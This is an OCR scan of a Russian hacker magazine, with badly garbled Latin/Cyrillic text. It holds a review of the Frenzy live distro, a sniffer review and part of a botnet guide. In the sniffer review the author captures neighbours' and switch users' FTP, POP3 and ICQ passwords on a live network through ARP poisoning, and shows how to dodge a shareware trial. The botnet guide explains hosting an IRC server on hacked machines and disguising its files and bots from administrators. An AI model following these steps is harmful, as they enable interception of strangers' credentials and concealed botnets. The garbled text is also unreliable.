на вещь — дистрибутив Ргепгу. 

Выкачивая его последнюю версию 0,3, я был приятно удивлен тем, 
что разработкой занимается российский программер. Автор, 
естественно, полностью локализовал систему, что является ог- 
ромным плюсом по сравнению со всеми конкурентами. Ведь по- 
мимо Ргепгу русскую локаль поддерживает лишь ѴѴОорріх, да и то 
после настройки. 

Размер дистрибутива составляет всего 200 Мб, поэтому легко мо- 
жет быть записан на трехдюймовую болванку. При этом Ргепгу ни- 
чем не обделен: он основан на РгееВЗО 5.2. 1 и включает в себя ог- 
ромный пакет программ и утилит. Секрет столь небольшого раз- 
мера заключается в сжатии файловой системы. Более того, авто- 
ру пришлось немало поработать над стандартными программа- 
ми, удалив из них ненужные и неиспользуемые библиотеки, а так- 
же файлы локализации. Посмотрим, что у него получилось :). 
Загрузка системы мало чем отличается отлинуксовых ЕіѵеСО, но 
все-таки немного уступает им по скорости. Впрочем, это никак не 
сказывается на последующей производительности: в целом сис- 
тема работает довольно быстро. 

Автор не стал использовать стандартный шелл и прикрутил к 
Ргепгу альтернативную оболочку. Надо отметить — весьма удоб- 
ную, так как в консоли стало возможным использование хоткеев и 
автоматического дополнения команд. Наивным мальчикам, кото- 
рые на дух не переваривают вид голого шелла, рекомендуется 




сразу набирать команду зРагРх и тем самым загрузить Х-ѴѴІпсІо\л/з 
на пару с симпатичным менеджером окон РІихЬох. 

Ргепгу имеет богатый набор утилит. Так, чтобы не напрягать поль- 
зователя возней с ІТсопТід'ом, для настройки сетки используется 
диалоговой скрипт Іап-сопТід. А в случае необходимости наст- 
ройки модемного соединения — скрипт ррр-сопТід. В арсенал 
дистрибутива включено все необходимое для маршрутизации 
трафика, организации МАТ и поддержки ЭМЗ, 

Само собой, в изобилии представлен и зесигіТу-софт. Неоцени- 
мую помощь тебе совершенно точно окажут сканеры безопас- 
ности и портов (пеззиз, птар), система обнаружения атак (зпогЕ), 
сниферы (еТТіегеаІ, еТТегсар), утилиты для брутфорса удаленных 
сервисов, прокси-серверы и многие другие утилиты. Большим ми- 
нусом, как и в случае Тіакіп9.Ііѵе, можно назвать отсутствие встро- 
енной базы эксплоитов. Хотя о полноценных средах разработки 
(дсс, регі и руЕТюп) производитель не забыл. 

Отличительной особенностью Ргепгу является возможность сох- 
ранения настроек. Для этого в системе есть специальный скрипт 
Ьаскир, который сохраняет все текущие настройки на дискету, 
флешку или жесткий диск. Во время своего следующего запуска 
ось проверяет наличие сохраненных конфигов и в случае необхо- 
димости самостоятельно восстанавливает настройки, что делает 
возможным ежедневное использование этого дистрибутива. 



База экплоитов: 0 

ЗесигІЕу-утилиты: 5 

Удобство использования: 5 
Поддержка оборудования: 5 



[наш выбор] Лучшим дистрибутивом с точки зрения хакера, бе- 
зусловно, является ѴѴРюрріх, Столь огромное количество полез- 
ных утилит, скриптов и эксплойтов едва ли удастся собрать даже 
при большом желании. Тем более что в ѴѴЕюрріх'е это все четко 
рассортировано и структурировано. На случай, если ты собира- 
ешься заняться вардрайвингом, не забудь прихватить с собой 
компакт с ѴѴагЕіпих или Тюскіп9.Ііѵе. Последний предпочтитель- 
нее, так как в полевых условиях позволит заюзать дополнительные 
утилиты и откомпилировать нужный эксплоит. Что касается фана- 
тов ВЗО, то здесь выбор очевиден. Вам, дорогие мои, сам Бог ве- 
лел использовать Ргепгу. Не без причины, естественно 0 
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[тихо — идет загрузка Ргепгу!] 
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Операция 

«Вулкан-5: 

Перехват» ^ 

КАЖДОМУ ИЗВЕСТНО, ЧТО ДЛЯ ПЕРЕХВАТА 
СЕТЕВОЙ ИНФОРМАЦИИ ИСПОЛЬЗУЮТСЯ 
СНИФЕРЫ. ЭТИ ПО-ГЕНИАЛЬНОМУ ПРОСТЫЕ 
ПРОГРАММЫ СПОСОБНЫ ОТЛАВЛИВАТЬ ПО- 
ТОКИ ЧУЖИХ ДАННЫХ, А В РЯДЕ СЛУЧАЕВ 
ВЫЦЕПЛЯТЬ ИЗ НИХ ПАРОЛИ НА РАЗЛИЧ- 
НЫЕ СЕРВИСЫ. ПО ОДЦОМУ ПРОСТОМУ ЗАП-^і 
РОСУ НА ПОИСКОВИКЕ МОЖНО НАЙТИ НЕС-^-І 
КОЛЬКО ДЕСЯТКОВ РАЗНЫІ^СНИФЕРОВ. ^ « I 
НО КАКОЙ ИЗ НИХ ЛУЧШЕ И ОБЛАДАЕТ- 
БОЛЬШИМИ ВОЗМОЖНОСТЯМИ?. Я. 

ПРОВЕСТИ ПРАКТИЧЕСКИЕ ЗАНЯТИЯ, ЧТЦ^УШ 
БЫ ОТВЕТИТЬ НА ЭТОТ ВОПРОС I докучаѳв'лІ!!й*Г^ 

рий ака РогЬ (РогЬ@геа1. хакер. ги) , 



Практическое 
применение сетевых 
сниферов 

[рекогносцировка на местности] Для тес- 
тирования профпригодности сниферов бы- 
ла выбрана локальная сеть со следующей 
логической топологией: сразу за моим 
компьютером находился восьмипортовый 
хаб, подключаемый к 24-портовому свитчу. 
Уже за ним находился шлюз. Это идеаль- 
ные условия для снифинга, так как здесь 
можно проверить и обычные возможности 
перехватчика, и фичу АРР-спуфинга, если 
таковая имеется. Но обо всем по порядку. 
В самом начале я попробую провести ата- 
ку на моего соседа, подключенного к 
обычному повторителю. Это ерундовая за- 
дача, и с ней должен справиться любой 
снифер. Проверим это немедленно! 



На компакт-диске ты най- 
дешь около пятнадцати раз- 
личных сниферов. При та- 
ком ассортименте ты точно 
выберешь самую удобную 
программу. 



Не стоит забывать, что все 
действия хакера противо- 
законны и эта статья пред- 
назначена лишь для озна- 
комления и ортанизации 
правильной защиты с тво- 
ей стороны. За применение 
материала в незаконных 
целях автор и редакция от- 
ветственности не несут. 



щения, не хуже мобильного теле- 
фона. Представь на секунду, ка- 
кой геморрой возникнет, если 
твоя ася перестанет выходить в 

онлайн от обильного количества получаемых сообщений и номер 
придется попросту менять. Ситуация усложнится, если такая неп- 
риятность произойдет во время или накануне серьезного делово- 
го разговора, выяснения личных проблем или еще чего-то безум- 
но важного. Стоит ли говорить, что в Сети полно людей, для кото- 
рых даже временная потеря иіп'а может обернуться серьезными 
проблемами и принести дивиденды третьему лицу. 

В общем, флуд ІСО давно уже стал настоящим бизнесом. В свое 
время, когда софт для флуда был дико дорогим, люди покупали 
его и продавали свои услуги. Теперь же это удовольствие доступ- 
но всем, и можно атаковать неприятеля самому, не выкладывая за 
|<а>кдый заказ бабки левому Васе в пижаме. Усек? 



[ЕІ'ІтегЗсап Апоіуіег — коммерческий и неудобный] Ддч начала я 
[ну и нафиг это все?] ІСО давно уже стала попробовал заюзать снифер под названием ЕТРегЗсап Апаіузег. 
полноценным инструментом делового об- Эта коммерческая программа, по словам разработчиков, спо- 




[вклиниваемся в передачу данных] 





собна улавливать любую ин- 
формацию на повторителях. 

Это мне в данный момент и не- 
обходимо. Я скачиваю полуто- 
раметровый архив (т/ѵѵѵ.ѳіііѳг- 
всап.сот/ѳза.ѳхе) с програм- 
мой и устанавливаю софт. При 
запуске меня просят купить при- 
ложение, но я не соблазняюсь :), 
а нажимаю Емаіиа+е. Програм- 
ма быстро запустилась, и я вижу 
красивый форточный интер- 
фейс. Везде удобные кнопки и 

подсказки — дизайн сделан на ура. Но мне важно не 
расположение диалоговых элементов, о нормальная 
работа перехватчика, что сейчас и следует проверить. 
Сперва нужно выбрать адаптер для прослушивания в 
менюшке Тооіз -> Зеіесі" Асіар+ег. Это обязательно сле- 
дует сделать, так как Е+НетЗсоп по умолчанию почему- 
то подвязывает виртуальный сетевой адаптер от 
ѴгпѴѴаге, но никак не интерфейс локальной сети. Пос- 
ле выбора жму кнопку Зі'агі'. Вижу, что в правой части 
пошли перехваченные пакеты. Среди этих данных 
очень много мусора, в котором можно легко запутать- 
ся, что не входит в мои планы. Благо, этот снифер обла- 
дает возможностью фильтровать приходящие пакеты, 
Я жму кнопку РІІЕег, захожу во вкладку Рог+з и отмечаю 
Затем передвигаюсь далее, в раздел 




[вот они - пароли!] 





Практически все перехват- 
чики требуют наличия биб- 
лиотеки ѴѴІпРСар. Ее ты 
можешь скачать отсюда: 
бПр://шіпрсар.роІПо.іІ. 

Подробнее о технологии 
АПР-5роо(іпд ты можешь 
прочитать в статье 
шшш.падіи/2003/0405/0405. 
збіті. 

Существует консольная 
версия ІСО-снифера, полу- 
чившая название 
ІСОПитпр. Ее возможности 
аналогичны графическому 
перехватчику. 




течение получаса я 
жду, пока снифер 
покажет первый сов- 
падающий пакет. 
Смотрю его свой- 
ства и внутри дан- 
ных замечаю выра- 
жение «РАЗЗ ІІоѵеу- 
ои». Пароль действи- 
тельно работал, и та- 
ким образом я зав- 
ладел доступом к ва- 
резному ЕТР-архиву. 
Можно сказать, я 
протестировал ос- 
новную работу ЕЕПег 
Зсап Апаіузег'а. Со 
спокойной душой 
программа была 
закрыта и удалена 
с моей машины. 

Платить за это творение 150 баксов было для меня слишком до- 
рогим удовольствием, так как в программе, кроме хорошего ди- 
зайна и фильтра, ничего удобного нет. Возможно, перехватчик 
можно использовать для изучения протокола ТСР/ІР, но никак не 
для сетевых атак. 



моего соседа. Пока 
я изучал строки с от- 
ловленными паро- 
лями, снифер пой- 
мал еще один РОРЗ- 
пассворд. 

Я продолжил путе- 
шествие по менюш- 
кам и заметил еще 
одну интересную 

фичу — кнопку с названием Саріиге. Если зайти в этот раздел и 
нажать ЗЕагІ, можно смотреть информацию по каждому пакету 
либо сохранять ее в отдельные файлы. ЕІе знаю, конечно, кому 
это может пригодиться, но точно не мне :). За следующей кноп- 
кой под названием Тооіз я нашел три общеизвестные утилиты: 
\л/Ітоіз, рогТ Іоокир и ТюзТ Іоокир. Этакий суповой набор в одном 
флаконе. И наконец, скажу несколько слов о настройке прог- 
раммы. Эта информация не будет лишней, если кто-нибудь ре- 
шится использовать сотфину в повседневной хакерской дея- 
тельности, На первой вкладке можно выбрать интерфейсы для 
прослушивания. И не один, как это предлагает большинство 
нюхачей, а несколько. Далее возможно выбрать определен- 
ный протокол, а также типы отлавливаемых паролей (в послед- 
ней версии успешно ловились пассворды на РОР, РТР, ІСО, 
РРОХѴ и НТТР). Из приятных штрихов могу также отметить подде- 
ржку скинов и загрузки вместе с Виндой, Как говорится, ме- 
лочь, а приятно :). 

Пока я расписывал все тонкости программулины, в трее появился 
мерцающий значок, при наведении на который я получил сооб- 
щение о наличии трех отловленных паролей. Короче говоря, прог- 
рамма произвела на меня хорошее впечатление: она бесплатна, 
весит немного, не зависит от библиотек и очень удобна, Я бы мог 
даже сказать, тизТ Баѵе, если бы не один минус. Эта программа 
применима только для отлова данных в сети на повторителях. Если 
используются свитчи, то трафик прослушиваться не будет. Особо 
умные могут меня поправить: мол, в сетке на свитчах вообще нель- 
зя использовать снифер. На самом деле это не так — технологию 
Агр Роізопіпд еще никто не отменял. 

[Каин и Авель] Я уже говорил, что в моей сети до маршрутизатора 
присутствует повторитель и коммутатор. Если данные на повторите- 
ле мне удалось отлавливать, то с коммутатором не все так просто. 
Сама технология коммутации пакетов подразумевает горантиро- 



[ІХЗпіІІ'ег — компактный снифер для деловых хакеров] Следующая 
программа, с которой мне захотелось поработать, называется 
ТХЗпіИ'ег (\ѵтѵ.зесигі4уІаЬ.гиДооІз/сІо\ѵпІоасІ/37550.ІіігпО. В описа- 
нии софтины говорится, что, помимо перехвата всех пакетов, она 
умеет выцеплять из них пароли. Проверим, насколько легко прога 
справляется с этой задачей. 

После запуска инсталлятора я вижу красивый интерфейс и обе- 
щание, сулящее, что снифер перехватит все типы рІаІп-ІехЕ паро- 
лей. Программа ставится безо всяких сложностей и даже не тре- 
бует установки библиотеки ѴѴІпРСар, Сам инсталлятор занимает 
всего 300 килобайт, чего не скажешь о предшествующей софтине. 
Итак, торжественный запуск! Я лицезрею приятный интерфейс и 
верхнюю менюшку с рядом кнопок. Нажимаю на пункт Тгаі^іс и 
обращаю внимание на список пакетов, который постоянно рас- 
тет. Подобная картинка наблюдалась и в ЕЕІгегасап апаіугег, но я 
уже говорил, что фильтровать пароли из всех пакетов крайне не- 
удобно. А что же означает кнопка Разз\л/огс1, расположенная на 
самом первом месте? После нажатия я вижу два собранных РТР- 
пароля. Один из них — на мой ЗегѵІІ-Н'рсІ (какой-то пользователь 
подцепился пару секунд назад), а второй — пароль на фтпшник 




[все вложенные утилиты проверены и работают] 
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ванную доставку 
данных на станцию 
с конкретным МАС- 
адресом. Однако 
существует ряд сни- 
феров, которые спо- 
собны вклиниться в 
обмен данными 
ме>кду двумя маши- 
нами и перезапи- 
сать АГ?Р-таблицу на 
обоих узлах. Иными 
словами, для компь- 
ютера А снифер 
представляется как 
машина В и наобо- 
рот. Ты понимаешь. 




[множество типов паролей] 




что при таком раск- 
ладе можно не только читать содержимое пакетов, но и изменять 
информацию на лету. Эта атака получила название Мап-Іп-МісІсІІе 
(МІМ) и широко применяется в хакерских кругах. 

Один из хороших сканеров, который способен реализовать МІМ, 
называется Саіп & АЬеІ (ѵ\/\л/т.охісІ.іисІоѵѵп!оасІБ/са_зѳіир.ѳхе). 
Весит он целых пять метров и требует установки библиотеки 
ѴѴІпРСАР, Причем лучше установить именно версию, находящую- 
ся в дистрибутиве. В противном случае перехватчик данных отка- 
жется формировать список адаптеров. По крайней мере, так слу- 
чилось у меня. 

После запуска программы можно легко затеряться в кнопках и раз- 
делах снифера. Похоже, разработчики засунули в софтину все, что 
только можно. Сперва это, конечно, путает, но потом начинаешь 
привыкать и думать, что это действительно нужно :). Если быть крат- 
ким, то в этой программе можно встретить множество брутфорсов 
хэшей (МОЗ, МЭ4, МЭ5, ОЕЗ, Сізсо, МуЗОЕ, ЗНА1, ЗНА2 и т.п.). Все эти 
типы можно найти во вкладке Сгаскег, Помимо этого, существует 
возможность сгенерировать любой хэш по заданному паролю. 

Но меня пока не интересуют добавочные возможности. Сперва 
следует разобраться с самим перехватом данных. Я иду в раздел 
ЗпІЕГег и выбираю внизу вкладку НозЕз. Затем вижу подсказку, что 
мне необходимо добавить хосты для слежения. Делаю это нажа- 
тием кнопки «+» на верхней панельке. Тут же генерируются все ад- 
реса из моей подсети. Теперь программа готова к перехвату па- 
ролей. Но пока что только через концентратор. 



[кратко об арр роізоміме] 

Технология Агр Роізопіпд (или «Отравление АВР-таб- 
лиц») относится к классу атак Мап-Іп-ІИе-МісІсІІе. Атака 
осуществляется посредством обмена ложными АВР- 
запросами. Рассмотрим простой пример. У нас в сети 
имеются три машины: омпьютер Пети, Васи и хакера 
Миши. Задача взломщика — перехватить данные 
между двумя машинами пользователей. В первую оче- 
редь Михаил проверяет, имеется ли в АВР-кэше на его 
машине МАС-адрес компьютера Пети. Если да, то он 
будет его использовать. Если нет — посредством АВР 
он отправляет широковещательный запрос с ІР-адре- 
сом для поиска нужного МАС’а. То же самое происхо- 
дит и для второй машины. В момент, когда оба МАС- 
адреса найдены, взломщик выдаст себя за Васю для 
Пети и наоборот. Это легко сделать, так как АВР-об- 
мен происходит безо всякой аутентификации. Когда 
операционная система получает ІР, уже находящийся 
в АЯР-таблице и соотносящийся с другим МАС-адре- 
сом, она просто затрет эту запись, что только на руку 
хакеру. Теперь злоумышленник будет ждать передачи 
данных от одной машины к другой. Вся информация 
уйдет совершенно на другой порт коммутатора — на 
комп хакера. Просмотрев пакет и сохранив его для 
дальнейшего изучения, Михаил перенаправит его на 
машину Васи. Таким образом, данные будут проходить 
по верному маршруту, но только через третью маши- 
ну. Следует напомнить, что рассылку ложных МАС-ад- 
ресов нужно проводить раз в 30 секунд, иначе опера- 
ционная система принудительно обновит таблицу и по- 
лучит правильный МАС-адрес. 



Для того чтобы воспользоваться фичей Агр Роізопіпд РоиГіпд, я вы- 
бираю внизу соответствующую вкладку. Затем мне необходимо 
выбрать два узла, между которыми я буду осуществлять перехват. 
Один из них, разумеется, будет шлюзом. Второй — компьютером 
некого делового человека, живущего в соседнем доме. Я нажи- 



[СНИФЕРЫ ЗА кадром] 

К сожалению, в одной статье никак не получится по- 
местить обзор всех существующих сниферов, а четы- 
ре программы — явно мало. Чтобы как-то восполнить 
этот недостаток, помещаю впечатление еще по нес- 
кольким сниферам. 

- Ыдгер (Шр://ргсІоѵѵпІоасІз.8^.пеі/пдгер/пдгер-1 .41 -ѴѴІП32- 
Ып.іір) — консольный снифер, аналог известного Іср- 
сіитр. Он позволяет отслеживать все проходящие 
ТСР/иСР-пакеты, но не умеет выцеплять из них пароли. 

- Озпііі (ѵѵѵѵѵѵ.сІа1апегсІ8.пе1/~тіке/Ыпапе8/сІвпі(1-1 .8- 
\/ѵіп32-зіа1іс.Ід2) — консольный снифер. Состоит из 
нескольких компонентов. Если говорить кратко, то 
программа умеет легировать пароли на ѴѴѴѴѴѴ, 
РОРЗ/ІМАР, РТР и Теіпеі. Также можно использовать 
программу для отлова информации, переданной в 
НТТР-формах. 

- Меіазузі (ѵѵѵѵѵѵ.пеіазузі.ги/сіоѵѵпіоасіз/меіазузіі .О.гір) 

- платный и громоздкий снифер. Его вес составляет 
43 мегабайта, и применим он разве что для просмотра 
сетевой активности. Вместо информации о пакетах 
можно увидеть великолепные графики, диаграммы и 
спидометры с пропускной способностью сети. 

- ІСО ЗпіНег 

(ѵѵѵѵѵѵ.8есигИуІаЬ.ги/ІооІз/доѵѵпІоасІ/44256.МтІ) — еще 
один снифер для перехвата переписки по ІСО. Правда, 
его возможности несравнимы с продуктом от ІЛаЗоЛ с 
похожим названием. Перехватчик умеет выцеплять 
все ІСО-сообщения и груплировать их по номерам. 

- ЕМегсар 

(ШрМоѵѵпІоасІ.карра.го/асІіоп сІоѵѵпІоасІ/ісІ_1 353) — 

этот снифер уже как-то описывали на страницах жур- 
нала, поэтому я намеренно не поместил его в обзор. 
Портированная версия под ѴѴІпсІоѵѵз почти не отлича- 
ется от *піх-релиза. Перехватчик может использовать 
различные технологии, начиная от АНР и заканчивая 
методами пассивного перехвата :). 

- Ігіз 

(Шр://зо({роііаІ.сот/доѵѵпІоасІ/сІоѵѵпІоасІ.рІір?ісІ=2304&і=2) 

- очередной платный снифер. В демоверсии существуют 
ограничения по фильтрации и логированию данных, а 
также отсутствуют механизмы расшифровки паролей. Ес- 
ли заплатить, разработчики обещают полнофункциональ- 
ный перехватчик. Однако учитывая, что Ігіз не умеет осу- 
ществлять АПР, можно легко найти ему альтернативу. 







[асечки на блюдечке :)] 

маю универсальную кнопку «+», а затем выделяю два ІР-адреса. 
Остается лишь активировать снифер и АРР. Для этого нажимают- 
ся две кнопки в верхнем левом углу. 

Теперь остается только ждать и наблюдать за проходящими паке- 
тами в нижнем поле программы. Признаком того, что таблицы АРР 
перезаписаны, является надпись «Роізопіпд» возле ІР-адреса. 
Чтобы наверняка проверить работу снифера, я зацепился с ра- 
бочего шелла на РТР-сервер соседа и увидел успешно залогиро- 
ванный пароль. Причем разработчики перехватчика сделали так, 
чтобы все пароли автоматически переносились в раздел Сгаскег 
(его я описывал ранее). Не пожалев времени, я соотнес все ай- 
пишники из моей сети со шлюзом и стал наблюдать за сетевой ак- 
тивностью, На свитче сидят 20 пользователей, и уже через полми- 
нуты парольный список стал быстро пополняться. 

Пора подвести некоторый итог по программе Саіп & АЬеІ. Если 
закрыть глаза на большой размер и излишнюю нагроможден- 
ность брутфорсерами, то софтина достойна прописки на твоем 
компьютере. Она действительно может слушать сеть на свитчах, а 
таіоке подменять ОЫЗ-запросы, перезаписывая проходящие па- 
кеты на лету. Кроме того, программа умеет отлавливать служеб- 
ную информацию о различных протоколах маршрутизации. Миз) 
Наѵе, однозначно! 

[Ісд Зп!^ — вы платите не только за ІСО] Следующий снифер, уме- 
ющий перехватывать данные на свитче, называется Іср ЗпК 
{\/тт^т-5пШе^.согп/Шез/іс^5пі{_5еіир.еxе). Он написан компани- 
ей ЕКаЗой и является очень гибким и удобным перехватчиком. В 
программе сразу говорится, что перехватчик умеет отслеживать 
всего четыре протокола: ІСО, ІГ5С, МЗМ и РОРЗ/ІМАР. И надо ска- 
зать, делает он это очень грамотно. Запуск снифера в свободное 
плавание осуществляется с помощью трех кликов мыши: сперва 
включается возможность АРР-спуфинга, затем сканируется саб- 
нет, а после этого снифер необходимо запустить. Чтобы не отлав- 
ливать собственные ІСО-сообщения и пароли, я убрал галочку 
напротив собственного ІР-адреса. Уже через минуту на экране 
высветились логи перехвата. Разговоры были очень интересными, 
и практически никто не использовал РОР, А зря. 

Кроме этого, мне очень понравилось продуманное журналиро- 
вание перехвата. Название журнала — либо ІСО-уин, либо ІР-ад- 
рес. Все файлы расположены в каталоге «Мои документы», но 
путь можно изменить в любой момент. Мне так это понравилось, 
что я оставил снифер на ночь, а сам лег спать :). Наутро я замучил- 
ся разгребать логи — программа действительно использовала 
технологию Агр Роізопіпд и честно отловила пароли многих поль- 
зователей, подключенных к свитчу. 

Единственный недостаток снифера — шароварность. Разработ- 
чики просят $39, но софтина действительно стоит этих денег. Если 
бы я занимался перехватом данных постоянно, то не поскупился и 
отдал эти сравнительно небольшие деньги. Однако есть простой 
способ обойти 30-дневное ограничение: стоит перевести дату 
назад, как программа без лишних слов о регистрации запустится 
и будет исправно работать. 

[что выбрать?] Вот, пожалуй, и все. Я рассказал тебе о практичес- 
ком применении четырех сниферов. С твоей стороны осталось 
сделать правильный выбор и найти программу, которая бы тебя 
устраивала. Только помни, что прослушивание трафика — это 
все-таки противозаконно. Твои действия могут быть вычислены 
провайдером, а за его реакцию я не ручаюсь :) © 




Совершенный звук 
в совершенной форме 



Элегантная акустическая система 
ТВ-381 создана, чтобы стать частью 
Вашего стиля. 

Выходная мощность: 

Диапазон воспроизводимых частот: 
Соотношение сигнал/шум: 

Звуковое давление: 



Высокое качество звучания 
позволяет в полной мере наслаж- 
даться красотой любимых мелодий. 

60 Ватт 
30 Гц -20 кГц 
85 дБ 
89 дБ 



иВ-381 - победитель соревнований «ММ-звук» по качеству звучания. 



ѵѵѵѵѵѵ.]е(ЬаІапсе.і 

МЕНиОМ-СІІІІІпк 

+7(095)744.0333 

МЕВиОМ-Еізіе 

+7(095)777.9779 



МЕВиОМ-Оепікіп 

+7(095)787.4999 

МЕНиОМ-игагсІ 

+7(095)780.3266 
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технический спонсор 






ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОЮ СЦЕНА [ВЗЛОМ] ИМПЛАНТ РС_20МЕ РЕППУМ НЬЮСЫ 
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На компакт-диске ты най- 
дешь свежий дистрибутив 
ипгеаІІИСО, опоченный для 
ботнета конфиг, а также ма- 
нуал по всем опциям наво- 
роченного демона. 



/ I \ 
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СЛУЧАЛОСЬ ЛИ ТЕБЕ, МОИ ДОРОГОЙ ТОВА- 
РИЩ, НАХОДИТЬСЯ В РОЛИ АДМИНИСТРАТО- 
РА? Я ДУМАЮ, ЧТО БОЛЬШИНСТВУ ЧИТАТЕ- 
ЛЕЙ СЛУЧАЛОСЬ. КТО-ТО УСПЕШНО АДМИ- 
НИЛ ЛОКАЛЬНУЮ СЕТЬ, А КТО-ТО — ОТДЕЛЬ- 
НЫЙ СЕРВЕР. НО ЛИШЬ НЕМНОГИМ УДАЛОСЬ 
ВОЗВЕСТИ И ПОДДЕРЖИВАТЬ НАСТОЯЩИЙ 
БОТНЕТ — ПРИВАТНУЮ ІВС-СЕТЬ ДЛЯ БОЕ- 
ВЫХ БОТОВ. СЕЙЧАС Я ПОДЕЛЮСЬ ОПЫТОМ 
И ВЫДАМ ВСЕ СЕКРЕТЫ БЫВАЛОГО БОТМАС- 
ТЕРА. И ХОТЬ САМА КОНЦЕПЦИЯ УПРАВЛЕ- 
НИЯ БОТАМИ ПО ІРС УЖЕ НЕМНОГО УСТАРЕ- 
ЛА, ОПИСАННЫЕ НАВЫКИ НЕ ПРОПАДУТ ЗРЯ. 
ВОТ УВИДИШЬ! I Докучаев Дмитрий ака РогЬ 
(1'огЬ@геа1.хакер.ги) 



Не стоит забывать, что все 
действия хакера противоза- 
конны и эта статья предназ- 
начена лишь для ознаком- 
ления и организации пра- 
вильной защиты с твоей 
стороны. За применение 
материала в незаконных це- 
лях автор и редакция ответ- 
ственности не несут. 
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Сервер иптеаІІИСО поддер- 
живает іірИпкв и вві-соеди- 
нения, но эти избыточные 
фичи лучше вырубить. 



Если у тебя на сервере есть 
рутовые права, можешь 
скрыть все файлы и про- 
цессы подручным руткитом. 
Или замаскировать их под 
системные модули, которые 
администратор уж точно не 
решится удалить. 



Создание и маскировка 
собственного ІРС-ботнета 

[кто они, боты?] Позволь мне немного отойти 
от главного вопроса и рассказать тебе о 
вражеских ботах. Не думай, что это те са- 
мые ламоботы, развлекающие онлайн-иг- 
рами в 11?С и кикающие наглых чатлан. Наши 
роботы не такие примитивные существа, 
они способны зарабатывать деньги. И 
очень большие деньги. Давай условимся, 
что под сочетанием «вражеский бот» я буду 
подразумевать программу, незаконно про- 
живающую на компьютере и выполняющую 
нехорошие действия. Большинство ботов 
ориентировано на спам либо ООоЗ-атаки. Я 
думаю, теперь ты понял, почему держать 



ботнет прибыльно. Однако чтобы добиться желаемого результата в 
сетевом бизнесе, нужно иметь в запасе не менее тысячи электрон- 
ных солдат. На первый взгяд, построить виртуальную казарму для 
такой армии довольно сложно. Но если подойти к проблеме с 
умом, задача решается за один вечер, 

[подготовка фундамента] Если тебе предложили работать ботмас- 
тером или ты захотел создать собственный ботнет, необходимо за- 
думаться над вопросом: на чем 
он будет держаться? Здесь су- 
ществуют два варианта: либо ты 
покупаешь выделенный сервер 
для 11?С0, либо водружаешь 
плацдарм на взломанном шел- 
ле. На мой взгляд, второй вари- 
ант более реален, так как мно- 
гие хостинги попросту не дают 

отдельный сервер для ІРС. Либо [канал с вражескими ботами] 






доставляет дедики под любые дела и ему плевать, что 
на его сервере будет жить стадо ботов, покупай от- 
дельную машину для будущего ботнета. 



[конфигурируем ІНСО для компиляции] 





[изменяем дефолтные пути] 



дают, но если администраторы узнают, что 
на этом сервере живут боты, тебе точно не 
поздоровится. Лично я за минувшие два го- 
да создал и поддерживал целых два ботне- 
та, состоявшие из четырех серверов. И на- 
до сказать, все они были на взломанных 
шеллах. Разумеется, в некоторых случаях 
администраторы убивали мои бэкдоры и 
переустанавливали систему, но в большин- 
стве своем боты жили и здравствовали. По- 
этому я советую найти три-четыре взломан- 
ные машины (необязательно с гооі-права- 
ми) и установить на них подходящий софт. 
Либо, если ты точно знаешь, что хостер пре- 



[ГЕНЕРАЦИЯ ПАРОЛЕЙ] 

В статье я упоминал о том, что пароли для ІВС- 
операторов лучше задавать в хэшированном виде. 
Однако немногие знают, как сгенерировать такой хэш. 
На самом деле все просто. Так, например, хэш 0Е8 
создается командой орепззі раззѵѵогсі. ІѴЮ5 легко 
получить запросом есію -п " пароль" ІорепззІ тсІ5. Хэш 
зііаі делается по аналогии: осію -п "пароль" ІорепззІ 
зііа1. Параметр -п передает пароль на ввод орепззі без 
символа переноса строки. 



[собираем ипгеаІІРСО] Теперь определимся с соф- 
том, который будет крутиться на сервере. На мой 
взгляд, самая лучшая программа, которая подходит 
для этого, — это ІІпгеаІІРСО, Этот демон обладает 
массой настроек и примочек, а посему достоин обс- 
луживать всех твоих ботов. 

Начнем с того, что ты зайдешь на свой сервер и ска- 
чаешь архив с демоном (ѵѵ\А/ѵѵ.ипгѳаІігссІ.сот/?ра- 
де=сІотпІоасІз). Если бы я писал статью об установ- 
ке |[?С0 для общения, то не стал бы обращать внима- 
ния на все тонкости инсталляции. Но в данном слу- 
чае нам придется позаботиться о таких мелочах, так 
как именно они будут залогом твоей безопасности. 

Ведь ты же не хочешь, чтобы администратор убил 
ботнет на второй день после его установки, правда? 

После распаковки архива можешь смело запускать ./СопСід. Сценарий задаст тебе 
несколько вопросов, и здесь тебе не надо особо задумываться над ответами. Скажу 
лишь, что необходимо собрать ігссі в режиме хаба (главный сервер, к которому будут 
прилинкованы остальные) либо в режиме лифа (ведомый сервер, впоследствии залинко- 
ванный к хабу). Также следует определить пути к каталогу, где будет находиться ІРСО, и 
выбрать имя самого демона. К этому вопросу нужно отнестись творчески. Допустим, у 
тебя нет рут-прав, и администратор каждый день бдит в консоли. Тогда разумнее задать 
путь в виде /ітр/.тс-гооі' либо указать другой каталог, сливающийся с соседними. 
Следующим шагом надо бы запустить команду таке. Однако не будем торопиться со 
сборкой демона. Прежде чем заняться компиляцией, переопределим некоторые дефо- 
лтные пути. К примеру, для маскировки определимся, что бинарник ігссі будет находить- 
ся в каталоге /ітр/.тс-гооіи называться іпеТсІ или другим невзрачным именем. Необхо- 
димо помнить, что по умолчанию конфиг-файл для ирки назван ипгеаІігссІ.сопТ, но нам это 
название не подходит, лучше переименуем конф в Цтр/рПр-1 1223344 (или другой но- 
мер, подобный тому, что находится в /1тпр). Откроем файл іпсІисІе/сопТід.Іп и найдем пе- 
ременную СРАТН. Затем изменим ее значение на указанное выше, а также поменяем 
все пути, которые могут понадобиться (путь к тоГсІ и т.п.). Теперь стоит рассказать еще 
об одном неприятном моменте; для маскировки ір-адресов (а мы, ясное дело, их будем 
скрывать) используются модули сіоак.о и соттапсіз.о. Путь к ним объявляется в конфе и 
может быть любым. Но вся беда в том, что перед загрузкой модули помещаются в папку 
Ттр и называются произвольным именем. Нам такого палева не надо, поэтому открыва- 
ем файл згс/тосіиіез.с и изменяем все встречающиеся слова «Ттр/» на «/Ттр/.тс-гооТ/». 
Теперь будь уверен, что модули перед загрузкой скопируются в этот каталог. Только не 
забудь создать эту директорию перед запуском демона :). 

И еще один предкомпиляционный штрих. Найди переменную ЗНО\Л/_ІМѴІ5ІВЕЕ_Ш5ЕРЗ в хи- 
дере сопТід.Ті и андефни ее. Это поможет скрыть пребывание твоих ботов на ігссі, если 
кто-нибудь решит выполнить команду /Іизегз, 

Все! Теперь можно смело собирать демон командами таке и таке іпзіаИ. После этого в 
каталоге ртр/.тс-юоі появится ряд файлов и каталогов. Удаляй все, кроме бинарника 
